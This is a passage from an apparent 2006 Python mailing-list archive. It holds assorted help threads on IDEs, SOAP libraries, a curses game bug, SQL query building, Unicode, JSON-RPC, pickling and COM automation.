This being said it is not great, the completion sometimes works in mysterious ways,  The pydev Extentions nag screen can be annoying (note to self :  gotta buy the thing...), some of the automations can be weirdly unproductive and there are probably better python dedicated environment out there but I like it, it suits my needs.  However for small hit and run in the code there is nothing like (ViM, Idle, notepad, JPad <Enter a text editor name here...>) as it is very oftenly over with before the splash screen of <Whatever big IDE> ever left the screen.

/It would be fine for a begginer, right?
/If you know Eclipse already then it is a good bet, If not but want an IDE that can be a good swiss army knife *AND* have time to space to learn the environment then it is an excellent choice.  

But sincerely, I learned python with Idle and the interactive shell, I did not feel I coule really appreciate what An IDE had to offer me before I really knew what the language could do for me, how it did it and why I would do it with it.

Enough to have to learn a language to be bothered to learn an environment, I mean unless you actually like the exilierating feeling of being a newbie all across the board ;-).  

However with Python after you have read the quick card (http://www.limsi.fr/Individu/pointal/python/pqrc/) and poke it with the interactive shell for a couple of hours you'll be (almost) as expert as all the regulars here :-P...



?ric :D.



From raNOsky at deveSPAMler.com  Wed Oct  4 09:08:23 2006
From: raNOsky at deveSPAMler.com (Giovanni Bajo)
Date: Wed, 4 Oct 2006 15:08:23 +0200
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
Message-ID: <eg0bo2$obu$1@nnrp.ngi.it>

A.M. Kuchling wrote:

>> I am seriously concerned
>> that the PSF infrastructure committee EVER considered non open-source
>> applications for this. In fact, I thought that was an implicit
>> requirement in the selection.
>
> Being open source wasn't a requirement;

which is, indeed, shocking and amazing.

> minimal requirements were
> specified in the initial message requesting trackers
> (http://wiki.python.org/moin/OriginalCallForTrackers).

Where does it mention that only trackers which have at least an existing
installation and a group of people for maintenance will be considered? It
could easily be assumed that PSF had already enough bandwidth, server,
manpower to handle any bugtracker installation.

In fact, are you absolutely positive that you need so much effort to
maintain an existing bugtracker installation? I know for sure that GCC's
Bugzilla installation is pretty much on its own; Daniel Berlin does some
maintainance every once in a while (upgrading when new versions are out,
applying or writing some patches for most requested features in the
community, or sutff like that), but it's surely not his job, not even
part-time.
-- 
Giovanni Bajo




From waldemar.osuch at gmail.com  Tue Oct 24 20:00:39 2006
From: waldemar.osuch at gmail.com (Waldemar Osuch)
Date: 24 Oct 2006 17:00:39 -0700
Subject: The status of Python and SOAP?
References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>
Message-ID: <1161734439.447897.223200@m73g2000cwd.googlegroups.com>


Thomas W wrote:
> I'm going to give a presentation of python to my co-workers at a very
> pro-microsoft workplace. Almost everything we need is currently
> supported by the standard distro + the win32all package, but we also
> need support for SOAP. I've tried SOAPpy ( didn't get it to compile,
> needed a library from a dead site ) and a few others, but I cannot help
> the feeling that SOAP isn't very high on the list of priorities in the
> python community. I hope I'm wrong.
>
> In short: What library is currently the best alternative to implement
> stable, efficient SOAP-webservices, both client and servers? What
> library is being actively maintained?
>
> Any hint or help would be great.

You may have tried it already but judging from mailing list and SVN
commits
the most actively maintained is ZSI from
http://pywebsvcs.sourceforge.net/

Waldemar



From larry.bates at websafe.com  Fri Oct  6 15:12:51 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 06 Oct 2006 14:12:51 -0500
Subject: Need array help
In-Reply-To: <mailman.1465.1160158068.10491.python-list@python.org>
References: <EkwVg.362$P92.105@trndny02>	<5e-dnRqTsKLmBLvYnZ2dnUVZ_tOdnZ2d@comcast.com>
	<mailman.1465.1160158068.10491.python-list@python.org>
Message-ID: <VuCdncGgrY1YN7vYnZ2dnUVZ_vCdnZ2d@comcast.com>

Robert Kern wrote:
> Larry Bates wrote:
> 
>> If you want to
>> do vector math or matrix-type calculations look at the
>> array module.
> 
> The array module in the standard library does not provide such
> capabilities. If you need them, look at numpy.
> 
>   http://numpy.scipy.org
> 
I stand corrected.

-Larry


From Eric_Dexter at msn.com  Wed Oct 11 21:49:40 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 11 Oct 2006 18:49:40 -0700
Subject: How to be a good programmers?
In-Reply-To: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>
References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>
Message-ID: <1160617780.299662.110480@i3g2000cwc.googlegroups.com>


rijamoria at gmail.com wrote:
> I just started to learn python programming because I need to be in the
> group when google come in Madagascar, So I want to know, what kind of
> python programming I have to start to learn? Zope?...?
> Sorry for My english! You can writ me on rijamoria at gmail.com.
> thanks!

Let me know and I can get you some expierence using some of pythons
functions that you can build your resume with.  My goal is to be
featured in csound journal or at least www.csounds.com

https://sourceforge.net/project/showfiles.php?group_id=156455
http://www.dexrow.com

"He is either a satinist or some kind of programmer with that snake
book" quote (C) 2006



From bignose+hates-spam at benfinney.id.au  Mon Oct 30 19:00:52 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 31 Oct 2006 11:00:52 +1100
Subject: How can I import a script with an arbitrary name ?
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>
Message-ID: <87mz7d8ibv.fsf@benfinney.id.au>

leonel.gayard at gmail.com writes:

> So, I have a module with an arbitrary file name and I want to load it,
> and later access its function definitions.
> How can I do this ?  In my example, the last line will obviously not
> work.

If you want a solution that gives you an actual module object, here's
what I use:

    def make_module_from_file(module_name, file_name):
        """ Make a new module object from the code in specified file """

        from types import ModuleType
        module = ModuleType(module_name)

        module_file = open(file_name, 'r')
        exec module_file in module.__dict__

        return module

-- 
 \       "A celebrity is one who is known by many people he is glad he |
  `\                               doesn't know."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney



From istvan.albert at gmail.com  Fri Oct  6 12:26:23 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 6 Oct 2006 09:26:23 -0700
Subject: switching to numpy and failing, a user story
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.1238.1159947549.10491.python-list@python.org>
	<1159984398.088012.209640@k70g2000cwa.googlegroups.com>
	<1160142732.752533.266840@m7g2000cwm.googlegroups.com>
Message-ID: <1160151980.338496.225670@m7g2000cwm.googlegroups.com>

sturlamolden wrote:

> Those involved in the development of NumPy must receive some
> compensation. Financial support to NumPy also ensure that the
> developmentcan continue. I for one does not want to see NumPy as

Then charge for NumPy ... or write a book *besides* the documentation.
One in which you make good use of NumPy and demonstrate the actual
problem solving process.

Charging for docs is just shooting yourself in the foot.

Plus that so called documention seems very unwieldy and unattractive,
long winded text, you can't search it, google won't index it -> people
won't find what they are looking for. 

I.



From operagasten at gmail.com  Sun Oct  8 06:21:15 2006
From: operagasten at gmail.com (Gasten)
Date: 8 Oct 2006 03:21:15 -0700
Subject: A curses-game I need help with.
Message-ID: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>

Hello.
The last weeks I've been coding a roguelike (you know, like nethack) in
python using the nCurses library. Some week ago I ran into a problem:
When I made the object for messagebar-output, I found a bug that I
can't figure out (believe me; I've tried everything and asked for help
several times on the IRC-channel).

The updateMsg() and iMsg() takes a list of message-lines as argument
(or process a string to a list), and it'll output each of them to the
messagebar, output a sign that say: More, and wait for the user to hit
space, and then output another line. The last line will just be
outputed, without waiting for the user to hit space. Thou, that doesn't
work. It doesn't output the last line. Not when there are more than one
line, and not when there is just that one line.

I've tried calling noutrefresh() and doupdate() instead of just
refresh(), I've rebuilt the structure of the methods, and done all
sorts of things. By writing debug-messages to a file, I've understood
that the last addstr() DO output the line, but the refresh isn't
working. Or something else isn't working.

Can you help?

I'll just append all my code here (for anyone to test), so you who
doesn't want to read this humble beginners code can skip to another
message. Thank you  for your time.

(So far I've understood, is that iMsg() and updateMsg() is wrong. Line
71 and 92.)


try:
    import curses
except ImportError:
    print "Missing the Curses-library."
    print "Please install the curses-library correctly."
    SystemExit

#---------------------------------------------------------------

class Game:
    """The Game-object. Controls the windows, global settings and so
on."""
    def __init__(self):
        self.mainwin = curses.initscr()

        ## Some basic settings
        curses.noecho()
        curses.cbreak()
        self.mainwin.keypad(1)
        curses.curs_set(0)

        self.msg = Msg()
        self.msg.msg(["Welcome to The Game! Lets watch another fearless
samurai", "get beaten bloody in the arena!"])

        self.mainwin.addstr(3,15, '+' + '-' * 62 + '+')
        self.mainwin.addstr(22,15, '+' + '-' * 62 + '+')
        self.mainwin.vline(4,15, '|', 18)
        self.mainwin.vline(4,78, '|', 18)


    movedir = {
        'up':           {'x':0, 'y':-1},
        'down':         {'x':0, 'y':+1},
        'right':        {'x':+1, 'y':0},
        'left':         {'x':-1, 'y':0},
        'downright':    {'x':+1, 'y':+1},
        'upright':      {'x':+1, 'y':-1},
        'downleft':     {'x':-1, 'y':+1},
        'upleft':       {'x':-1, 'y':-1}
        }

    walls = (
        ord('|'),
        ord('+'),
        ord('-')
        )

#---------------------------------------------------------------

class Msg:
    """The messagehandeling and -bar system."""
    def __init__(self):
        self.msgs = []

    def printMore(self):
        # Print the little #More#-sign
        game.mainwin.addch(1, 71, curses.ACS_BLOCK, curses.A_REVERSE)
        game.mainwin.addstr(1, 72, "More", curses.A_REVERSE)
        game.mainwin.addch(1, 76, curses.ACS_BLOCK, curses.A_REVERSE)

    def msg(self, msg):
        if isinstance(msg, str):
            self.msgs.append(msg)
        else:
            self.msgs = self.msgs + msg

    def ereasMsg(self):
        for count in range(0,2):
                game.mainwin.move(count,0)
                game.mainwin.clrtoeol()

    def updateMsg(self):
        count = len(self.msgs)
        for msg in self.msgs:               # Print one msg after
another
            game.mainwin.addstr(0,0, msg)   # Print the actual message
            if count > 1:                   # If there are two or more
laft, print a #More#-sign.
                count -= 1
                self.printMore()
                game.mainwin.refresh()
                while 1:
                    next = game.mainwin.getch()
                    if next == ord(' '):
                        self.ereasMsg()
                        break
                    else:
                        continue
            else:
                game.mainwin.refresh()

        self.msgs = [] # When done, kill all messages
        return True

    def iMsg(self, msg):
        """Same as msg(), but the screen will refresh instantly.
        'i' is standing for Interface or Instant message."""
        if isinstance(msg, str):
            msg = [msg]             # List'it!
        count = len(msg)
        for item in msg:
            if count > 1:
                count -= 1
                self.printMore()
                game.mainwin.addstr(0,0, item)
                game.mainwin.refresh()
                while 1:
                    next = game.mainwin.getch()
                    if next == ord(' '):
                        self.ereasMsg()
                        break
                    else:
                        continue
            else:
                game.mainwin.addstr(0,0, item)

        return


#---------------------------------------------------------------

class Samurai:
    """This is the object of the mighty Samurai. Phe4r him. He can
move.
    He can spawn. He will be able to kick som robo butt too,
    but not now."""
    def __init__(self):
        ## Configuring game values.
        self.loc = {
            "x": 20,
            "y": 8
            }
        self.samuraichar = ord("X")

        # spawn
        game.mainwin.addch(self.loc['y'], self.loc['x'],
self.samuraichar)

    def move(self, dir, speed=1):
        # Move in dir speed number of times.
        for count in range(1, speed + 1):
            newX = self.loc['x'] + game.movedir[dir]['x']
            newY = self.loc['y'] + game.movedir[dir]['y']

            # Checks that all is clear.
            if game.mainwin.inch(newY, newX) not in game.walls:

                # Delete old
                game.mainwin.addch(self.loc['y'], self.loc['x'], ' ')

                self.loc['x'] =  newX
                self.loc['y'] =  newY
                # Create a new character.
                game.mainwin.addch(self.loc['y'], self.loc['x'],
self.samuraichar)

            else:
                game.msg.iMsg("You can't go there.")
                return

#---------------------------------------------------------------

def main():
    global game, player
    game = Game()
    player = Samurai()

    running = True


    while running:
        key_command = game.mainwin.getch()

        if key_command == ord('8'):  ## Movement-commands
            player.move('up')

        elif key_command == ord('2'):
            player.move('down')

        elif key_command == ord('4'):
            player.move('left')

        elif key_command == ord('6'):
            player.move('right')

        elif key_command == ord('7'):
            player.move('upleft')

        elif key_command == ord('9'):
            player.move('upright')

        elif key_command == ord('1'):
            player.move('downleft')

        elif key_command == ord('3'):
            player.move('downright')

        elif key_command == ord('Q'):  ## Exit
            break

        elif key_command == ord('5'): ## Wait
            pass

        elif key_command == ord('x'): ## print location
            game.msg.iMsg("X: " + str(player.loc['x']) + ", Y: " +
str(player.loc['y']))

        elif key_command == ord('z'):
            strlist = ""
            for i in game.walls:
                strlist = strlist + str(i) + " "
            game.msg.iMsg(strlist)

        elif key_command == ord('c'):
            for count in range(0,2):
                game.mainwin.move(count,0)
                game.mainwin.clrtoeol()

        else:
            game.msg.iMsg("That is not a valid command.")

        if len(game.msg.msgs) == 0:     # If there are any msgs.
            game.mainwin.refresh()
        else:
            game.msg.updateMsg()

        game.msg.ereasMsg()


if __name__ == "__main__":
    try:
        import psyco
        psyco.full()
    except ImportError:
        # Don't use something that doesn't exists.
        pass

    main()

curses.nocbreak(); game.mainwin.keypad(0); curses.echo()
curses.endwin()


(The code is GPL'ed, Martin Ahnel?v 06)



From steve at holdenweb.com  Mon Oct  9 05:17:28 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 09 Oct 2006 10:17:28 +0100
Subject: Why do this?
In-Reply-To: <egd3mf$j39$1@sea.gmane.org>
References: <mailman.1336.1160044062.10491.python-list@python.org><Xns985378283690Dduncanbooth@127.0.0.1><mailman.1442.1160128745.10491.python-list@python.org><Xns98547173763B6duncanbooth@127.0.0.1><egci8i$43p$1@lust.ihug.co.nz><Xns985755C711158duncanbooth@127.0.0.1>	<egd0hd$u3r$1@lust.ihug.co.nz>
	<egd3mf$j39$1@sea.gmane.org>
Message-ID: <egd41j$kb3$1@sea.gmane.org>

Fredrik Lundh wrote:
> Lawrence D'Oliveiro wrote:
> 
> 
>>Secondly, it's less convenient for cases where a dynamic query is being
>>built. I previously gave the SQLStringList example. If that's not enough,
>>here's another (simple) one:
>>
>>Conditions = []
>>if Name != None :
>>   Conditions.append("name = %s" % SQLString(Name))
>>#end if
>>if Address != None :
>>   Conditions.append("address = %s" % SQLString(Address))
>>#end if
>>if PhoneNr != None :
>>   Conditions.append("phone_nr = %s" % SQLString(PhoneNr))
>>#end if
>>Query = "select * from table"
>>if len(Conditions) != 0 :
>>   Query += " where " + " and ".join(Conditions)
>>#end if
> 
> 
> now that's some remarkably ugly Python code.  it's well-known that people can
> write Fortran in all languages, but writing Visual Basic in Python?  (shudder)
[...]
> this is Python, after all, and as we all know, "the joy of coding Python should be
> in seeing short, concise, readable classes that express a lot of action in a small
> amount of clear code - not in reams of trivial code that bores the reader to death".
> 
I especially liked the #end if comments after the single guarded lines.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From oliver.andrich at gmail.com  Mon Oct  2 06:28:02 2006
From: oliver.andrich at gmail.com (Oliver Andrich)
Date: Mon, 2 Oct 2006 12:28:02 +0200
Subject: PyXML not supported, what to use next?
In-Reply-To: <4o814eFdebrhU1@individual.net>
References: <4o814eFdebrhU1@individual.net>
Message-ID: <6f7b52d0610020328v3d8b4544m76a7bcc40972da79@mail.gmail.com>

Hi Paul

On 9/30/06, Paul Watson <pwatson at redlinepy.com> wrote:
>
> It would appear that xml.dom.minidom or xml.sax.* might be the best
> thing to use since PyXML is going without support.  Best of all it is
> included in the base Python distribution, so no addition hunting required.
>
> Is this right thinking?  Is there a better solution?
>

I am using lxml as my standard tool of choice. It includes the easy
interface of ElementTree and the speed and power of being backed by libxml2
and libxslt. But this mainly cause I have to deal with large XMLs in a fast
way. Otherwise pure ElementTree is a very, very nice choice. And it is also
our "backup" choice, when lxml is not available on a system.

Best regards,
Oliver


-- 
Oliver Andrich <oliver.andrich at gmail.com> --- http://roughbook.de/
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From ilias at lazaridis.com  Sat Oct  7 19:11:24 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 7 Oct 2006 16:11:24 -0700
Subject: IDLE - Customizing output format
In-Reply-To: <mailman.851.1159414893.10491.python-list@python.org>
References: <ef3hu5$a20$1@mouse.otenet.gr>
	<1159126159.462170.70420@d34g2000cwd.googlegroups.com>
	<mailman.542.1159129807.10491.python-list@python.org>
	<1159130442.913233.276910@k70g2000cwa.googlegroups.com>
	<mailman.544.1159134982.10491.python-list@python.org>
	<1159295354.259058.52990@i42g2000cwa.googlegroups.com>
	<mailman.752.1159313702.10491.python-list@python.org>
	<1159360188.483270.257080@k70g2000cwa.googlegroups.com>
	<mailman.851.1159414893.10491.python-list@python.org>
Message-ID: <1160262684.485621.28920@m7g2000cwm.googlegroups.com>

Gabriel Genellina wrote:
> At Wednesday 27/9/2006 09:29, Ilias Lazaridis wrote:
>
> >import sys
> >def f(obj):
> >     if obj:
> >         print '::: ' + repr(obj)
> >sys.displayhook = f
>
> Have you tried that? You have to filter out None, not *any* False value.
>
> > > And notice that this replaces the output of *evaluated* expressions,
> > > not any print statement executed inside your code.
> >
> >Any simple solution for this?
>
> Displaying things interactively is not the same as executing a print
> statement inside the code - I feel right they are not considered the
> same thing. print output goes to sys.stdout, you could replace it.

this is nicely described here:

http://www.voidspace.org.uk/python/weblog/arch_d7_2006_01_21.shtml#e192

do i need the "getattr" and "writeline" methods in MyStdOut?

.

--
http://case.lazaridis.com/ticket/10



From mensanator at aol.com  Sat Oct 28 04:51:37 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 28 Oct 2006 01:51:37 -0700
Subject: Need help (Basic python)...what did I do wrong?
In-Reply-To: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
Message-ID: <1162025497.900277.19540@m73g2000cwd.googlegroups.com>


frankie_85 wrote:
> Hi everyone,
>
> I just made a simple code which is part of my assignment but I can't
> figure it out what's wrong with it. (always give me error messages)
>
> What the code basically does is:
>
> a function that takes one floating point number x as its argument and
> returns (the square root of the absolute value of x) plus (5 times x
> cubed).
>
> and read 5 floating point values from the user into a list then apply
> the function to each value in the list and print the results in reverse
> order.
>
> --------------------------------------------------------------------------------------------
> import math
>
> print "Enter 5 values:"
> a = float(raw_input())
> b = float(raw_input())
> c = float(raw_input())
> d = float(raw_input())
> e = float(raw_input())
>
> def funct(a, b, c, d, e):
>     a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
>     b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3)))
>     c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3)))
>     d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3)))
>     e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3)))
>     return a_1
>     return b_2
>     return c_3
>     return d_4
>     return e_5
>     print e_5, d_4, c_3, b_2, a_1
>
>
>
> funct(a, b, c, d, e)
>
>
> --------------------------------------------------------------------------------------------
>
> it always gives me these error messages:
>
> Traceback (most recent call last):
>   File "/Users/x/Documents/test3.py", line 25, in <module>
>     funct(a, b, c, d, e)
>   File "/Users/x/Documents/test3.py", line 11, in funct
>     a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
> TypeError: 'int' object is not callable
>
> What did I do wrong?

You forgot the *.

> Please help me
> 
> Thanks in advance



From horpner at yahoo.com  Thu Oct 19 11:57:15 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 19 Oct 2006 17:57:15 +0200
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<Xns98616CE973980duncanbooth@127.0.0.1>
	<1161252764.244873.134740@f16g2000cwb.googlegroups.com>
	<2m8k04-gfe.ln1@nb2.stroeder.com>
Message-ID: <slrnejf84b.rk.horpner@FIAD06.norwich.edu>

On 2006-10-19, Michael Str?der <michael at stroeder.com> wrote:
> NoelByron at gmx.net wrote:
>> 
>> print 'K\xc3\xb6ni'.decode('utf-8')
>> 
>> and this line raised a UnicodeDecode exception.
>
> Works for me.
>
> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode
> object. With print this is implicitly converted to string. The
> char set used depends on your console

No, the setting of the console encoding (sys.stdout.encoding) is
ignored. It's a good thing, too, since it's pretty flaky. It uses
sys.getdefaultencoding(), which is always 'ascii' as far as I
know.


-- 
Neil Cerutti


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 08:58:22 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 12:58:22 GMT
Subject: Python component model
In-Reply-To: <4p14h4Fgk9jaU1@uni-berlin.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de>
Message-ID: <ONMWg.12226$UG4.2497@newsread2.news.pas.earthlink.net>

Diez B. Roggisch wrote:
> Paul Rubin schrieb:
>> "Nick Vatamaniuc" <vatamane at gmail.com> writes:
>>> Python does not _need_ a component model just as you don't _need_ a RAD
>>> IDE tool to write Python code. The reason for having a component model
>>> or a RAD IDE tool is to avoid writing a lot of boiler plate code.
>>
>> It's also so that applications written in differing languages can call
>> each other.
> 
> Nope. Things like CORBA and COM do have that property, but e.g. the Java 
> beans spec has only a meaning inside the VM. Not sure about .NET, but I 
> can imagine there it's the same thing.
> 
> All the languages he mentioned are statically typed, or the component 
> models themselves are. So the component model is basically needed (as 
> others also mentioned) to glue things together, to dynamize that - 
> whereas python is dynamic on the first hand, and actually lacks static 
> typing to infer component properties...

While I understand dynamic typing, I still think it is possible to 
create attributes in a Python component model which could tell a RAD 
tool what type the attribute will encompass for the purpose of 
properties and events. Obviously a "name, type" tuple, among other 
possible information would have to be used. But given Python's amazingly 
flexible type and introspection system, this should be possible.

Of course I am not trying to change the nature of normal Python 
attributes per se at all, and one of the most important things in a 
property-method-event component model is to be able to specify 
properties that are distinct from just normal object data members. So 
one of the most important things in a Python component model would be 
the ability to tag component properties as totally distinct from normal 
Python class attributes or property attributes.

Given that Python already has new-style class properties, maybe another 
name for the component properties I envision is needed to avoid confusion.


From jwashin at nospam.hill-street.net  Mon Oct  9 10:33:35 2006
From: jwashin at nospam.hill-street.net (Jim Washington)
Date: Mon, 09 Oct 2006 14:33:35 GMT
Subject: ANN: SimpleJSONRPCServer
References: <pan.2006.10.07.21.16.04.582148@spam.me.please> 
Message-ID: <35tWg.1906$ji5.502@trnddc04>

On Sun, 08 Oct 2006 10:16:05 +1300, aum wrote:

> I've built a module called SimpleJSONRPCServer, which is essentially the
> same as the familiar python library module SimpleXMLRPCServer, except that
> it uses the JSON-RPC protocol.

Cool.  There is a new JSON-RPC 1.1 specification, currently in Working
Draft status. It enhances the 1.0 specification with improved definitions.
It also allows nice things like named parameters. It has potential to make
JSON-RPC more pythonic to use.

http://www.raboof.com/json-rpc/JSON-RPC-1-1-WD-20060807.html

Discussion about the draft is at json-rpc at yahoogroups.com

-Jim Washington


From bearophileHUGS at lycos.com  Wed Oct  4 13:59:55 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 4 Oct 2006 10:59:55 -0700
Subject: PEP 358 and operations on bytes
In-Reply-To: <7xfye4f4nk.fsf@ruckus.brouhaha.com>
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>
	<7xejtojdys.fsf@ruckus.brouhaha.com>
	<1159976793.484514.277050@h48g2000cwc.googlegroups.com>
	<7xfye4f4nk.fsf@ruckus.brouhaha.com>
Message-ID: <1159984794.841880.247100@k70g2000cwa.googlegroups.com>

Paul Rubin:
> I think the underlying regexp C library isn't written that way.  I can
> see reasons to want a higher-level regexp library that works on
> arbitrary sequences, calling a user-supplied function to classify
> sequence elements, the way current regexps use the character code to
> classify characters.

To begin with something concrete some days ago I was starting to write
a simple RE engine that works on lists/tuples/arrays and uses Psyco in
a good way (but then I have stopped developing it). Once and only once
some good uses has being found, later someone can translate the code to
C, if necessary.
It seems an interesting thing, but can you find some uses for it?

Bye,
bearophile



From fredrik at pythonware.com  Fri Oct 13 14:02:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 20:02:06 +0200
Subject: Sending binary pickled data through TCP
In-Reply-To: <452FD3B1.9060306@ilm.com>
References: <452EEEF1.6030606@ilm.com> <egmvtl$b0b$1@sea.gmane.org>
	<452FD3B1.9060306@ilm.com>
Message-ID: <egokau$h4o$1@sea.gmane.org>

David Hirschfield wrote:

> Are there any existing python modules that do the equivalent of pickling 
> on arbitrary python data, but do it a lot faster? I wasn't aware of any 
> that are as easy to use as pickle, or don't require implementing them 
> myself, which is not something I have time for.

cPickle is faster than pickle.  marshal is faster than cPickle, but only 
supports certain code object types.

</F>



From martin at v.loewis.de  Tue Oct 24 13:24:25 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 19:24:25 +0200
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <mailman.1099.1161709658.11739.python-list@python.org>
References: <mailman.706.1161192807.11739.python-list@python.org>	<45386B4C.4020001@v.loewis.de>	<mailman.999.1161629807.11739.python-list@python.org>	<453d4821$0$22566$9b622d9e@news.freenet.de>	<mailman.1025.1161646957.11739.python-list@python.org>	<453DA645.2090009@v.loewis.de>
	<mailman.1099.1161709658.11739.python-list@python.org>
Message-ID: <453E4C49.4000401@v.loewis.de>

Christopher Taylor schrieb:
>> Ah, I see. The reason is pretty simple: Makefile.pre.in has
>>
>> LIBDIR=         $(exec_prefix)/lib
>>
>> so it seems that LIBDIR isn't configurable.
> 
> So you would agree that this is a bug?  

I personally think this is a bug in AMD64-Linux. Libraries should
be stored in /usr/lib, binaries in /usr/bin, etc. If they need
simultaneous installation of 32-bit binaries for compatibility,
they should store them in architecture-specific directories.

> I'll post on Python-Dev for
> further advice.  I'd like to fix this for the x86_64 community.

The x86_64 community has been using Python for a while, and
apparently has solved this problem already. You should try
to find out how they did it.

Regards,
Martin


From hanumizzle at gmail.com  Fri Oct  6 02:32:50 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 02:32:50 -0400
Subject: help on pickle tool
In-Reply-To: <4525F78D.5010200@pythonware.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
	<mailman.1408.1160114785.10491.python-list@python.org>
	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
	<4525F78D.5010200@pythonware.com>
Message-ID: <463ff4860610052332t337ad8ddi26ea1edeb7c124ad@mail.gmail.com>

On 10/6/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> MonkeeSage wrote:
>
>
> > YAML is a little more complex
>
> a little?  when did you last look at the spec?
>
> > and a little more mature.
>
> than JavaScript's expression syntax?  are you sure you're not confusing
> libraries with standards here?  (has anyone even managed to write a YAML
> library that's small and simple enough to be "obviously correct"?)

Tell. I'm interested in knowing.

-- Theerasak


From fredrik at pythonware.com  Mon Oct  9 03:52:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 09:52:21 +0200
Subject: unexpected behaviour of lambda expression
References: <1160379765.723206.33640@i3g2000cwc.googlegroups.com>
Message-ID: <egcv3l$4ho$1@sea.gmane.org>

leonhard.vogt at gmx.ch wrote:

> Please consider that example:
> Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)]
> on win32
> Type "help", "copyright", "credits" or "license" for more information.
>>>> s = 'foo'
>>>> f = lambda x: s
>>>> f(None)
> 'foo'
>>>> s = 'bar'
>>>> f(None)
> 'bar'
>>>> del(s)
>>>> f(None)
> Traceback (most recent call last):
>  File "<stdin>", line 1, in ?
>  File "<stdin>", line 1, in <lambda>
> NameError: global name 's' is not defined
>
> It seems to me, that f is referencing the name s instead of the string
> object bound to it

that's how lexical scoping works, of course.

if you want to bind to the object instead of the name, use explicit binding:

    f = lambda x, s=s: s

</F> 





From f.braennstroem at gmx.de  Fri Oct 13 05:10:43 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Fri, 13 Oct 2006 11:10:43 +0200
Subject: Adding Worksheets to an Excel Workbook
References: <78b3a9580610111719j4fea5802jd2e581ad88988682@mail.gmail.com>
Message-ID: <egnl6i$bf3$2@sea.gmane.org>

Hi Wesley,

* wesley chun <wescpy at gmail.com> wrote:
>> just a small OT question coming from a linux openoffice
>> system...
>>
>> Does there exist something similar for powerpoint? Would be
>> nice, if anybody can direct me to more examples...
>
>
> fabian,
>
> see below for a PP example.  you mentioned you were coming from a
> linux OOo system... are you trying to do COM stuff with OOo?  i'm not
> familiar with it, but since they do support
> some level of VB-like scripting, i don't believe it's out of the question.
>
> one thing that i did forget to mention in my earlier message is that i
> use static dispatch for these apps.  if you did not go and run the
> makepy utility, you would have to use dynamic dispatch, start your
> apps with win32com.client.Dispatch(), or, using the same import
> statement as below, win32.Dispatch().


>
> anyway, here is pretty much the same script as i sent earlier but for
> PowerPoint instead of Excel (the book has small examples for each of
> Excel, Word, PowerPoint, and Outlook):
>
> # based on ppoint.pyw in Core Python Programming, 2nd ed
>
> from time import sleep
> import win32com.client as win32
>
> def ppoint():
>     ppoint = win32.gencache.EnsureDispatch('PowerPoint.Application')
